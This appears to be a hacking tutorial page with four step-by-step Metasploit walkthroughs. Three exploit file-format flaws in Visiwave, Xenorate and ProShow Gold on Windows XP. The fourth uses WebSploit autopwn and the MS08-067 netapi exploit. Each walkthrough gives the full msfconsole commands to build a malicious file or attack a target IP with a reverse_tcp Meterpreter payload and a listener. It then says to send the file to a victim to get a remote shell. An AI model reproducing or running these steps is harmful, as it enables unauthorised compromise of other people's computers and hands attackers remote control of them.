Hack Remote PC using Visiwave VWR File Parsing Vulnerability

This module exploits a vulnerability found in Visiwave Site Survey Report application. When processing .VWR files, VisiWaveReport.exe attempts to match a valid pointer based on the ‘Type’ property (valid ones include ‘Properties’, ‘Title Page’, ‘Details’, ‘Graph’, ‘Table’, ‘Text’, ‘Image’), but if a match isn’t found, the function that’s supposed to handle this routine ends up returning the input as a pointer, and later used in a CALL DWORD PTR [EDX+10] instruction. This allows attackers to overwrite it with any arbitrary value, and results code execution. A patch is available at visiwave.com; the fix is done by XORing the return value as null if no match is found, and then it is validated before use. NOTE: During installation, the application will register two file handles, VWS and VWR and allows a victim user to ‘double click’ the malicious VWR file and execute code. This module was also built to bypass ASLR and DEP.

Exploit Targets

Visiwave 2.1.8.150

Windows XP SP2

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

1 Hack Remote PC using Visiwave VWR File Parsing Vulnerability

Now type use exploit/windows/fileformat/visiwave_vwr_type

Msf exploit (visiwave_vwr_type)>set payload windows/meterpreter/reverse_tcp

Msf exploit (visiwave_vwr_type)>set lhost 192.168.1.2 (IP of Local Host)

Msf exploit (visiwave_vwr_type)>exploit

2 Hack Remote PC using Visiwave VWR File Parsing Vulnerability

After we successfully generate the malicious File, it will stored on your local computer

/root/.msf4/local/msf.vwr

3 Hack Remote PC using Visiwave VWR File Parsing Vulnerability

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.2

exploit

Now send your msf.vwr files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

4 Hack Remote PC using Visiwave VWR File Parsing Vulnerability

Hack Remote Windows XP using Xenorate 2.50 (.xpl) universal Local Buffer Overflow (SEH)

This module exploits a stack buffer overflow in Xenorate 2.50 by creating a specially crafted xpl file.

Exploit Targets

Xenorate 2.50

Windows XP SP2

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

1 Hack Remote Windows XP using Xenorate 2.50 (.xpl) universal Local Buffer Overflow (SEH)

Now type use exploit/windows/fileformat/xenorate_xpl_bof

Msf exploit (xenorate_xpl_bof)>set payload windows/meterpreter/reverse_tcp

Msf exploit (xenorate_xpl_bof)>set lhost 192.168.1.3 (IP of Local Host)

Msf exploit (xenorate_xpl_bof)>exploit

2 Hack Remote Windows XP using Xenorate 2.50 (.xpl) universal Local Buffer Overflow (SEH)

After we successfully generate the malicious File, it will stored on your local computer

/root/.msf4/local/msf.xpl

3 Hack Remote Windows XP using Xenorate 2.50 (.xpl) universal Local Buffer Overflow (SEH)

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.3

exploit

Now send your msf.xpl files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

4 Hack Remote Windows XP using Xenorate 2.50 (.xpl) universal Local Buffer Overflow (SEH)

Hacking Windows XP with WebSploit

First Install Websploit Toolkit in Backtrack

You can view the Tutorial Here

Open Your Backtrack terminal and Type cd  /pentest/web/websploit

Now open WebSploit Toolkit (SET)  ./websploit

1 Hacking Windows XP with WebSploit

Now choose option 3 “Automatic Exploiter”

2 Hacking Windows XP with WebSploit

Now choose option 1 “Service Autopwn”

wsf: Autopwn > Enter Target IP Address192.168.1.56 (IP Address of Victim)

3 Hacking Windows XP with WebSploit

The results above are showing that the port 445 is open so we will try to use the netapi exploit.

The microsoft-ds are a very common service in Windows machines. Most of the servers will have this service enabled so it will be very easy to exploit them except if they are using a firewall that filters the port 445.

4 Hacking Windows XP with WebSploit

Now Type “Search netapi“ command in the console, this command will search for all the exploit modules with the pattern ”netapi

5 Hacking Windows XP with WebSploit

Now type use exploit/windows/smb/ms08_067_netapi

Msf exploit (ms08_067_netapi)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms08_067_netapi)>set lhost 192.168.1.3 (IP of Local Host)

Msf exploit (ms08_067_netapi)>set rhost 192.168.1.56 (IP of Local Host)

Msf exploit (ms08_067_netapi)>exploit

6 Hacking Windows XP with WebSploit

For More about Meterpreter command visit Meterpreter Basic Commands

Hack Remote XP with Pro Show Gold v4.0.2549 (PSH File) Stack Buffer Overflow

This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549. An attacker must send the file to victim and the victim must open the file.

Exploit Targets

ProShow Gold v4.0.2549

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

1 Hack Remote XP with Pro Show Gold v4.0.2549 (PSH File) Stack Buffer Overflow

Now type use exploit/windows/fileformat/proshow_cellimage_bof

Msf exploit (proshow_cellimage_bof)>set payload windows/meterpreter/reverse_tcp

Msf exploit (proshow_cellimage_bof)>set lhost 192.168.1.3 (IP of Local Host)

Msf exploit (proshow_cellimage_bof)>exploit

2 Hack Remote XP with Pro Show Gold v4.0.2549 (PSH File) Stack Buffer Overflow

After we successfully generate the malicious File, it will stored on your local computer

/root/.msf4/local/msf.psh

3 Hack Remote XP with Pro Show Gold v4.0.2549 (PSH File) Stack Buffer Overflow

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.3

exploit

Now send your msf.psh files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

4 Hack Remote XP with Pro Show Gold v4.0.2549 (PSH File) Stack Buffer Overflow

pixel Hack Remote XP with Pro Show Gold v4.0.2549 (PSH File) Stack Buffer Overflow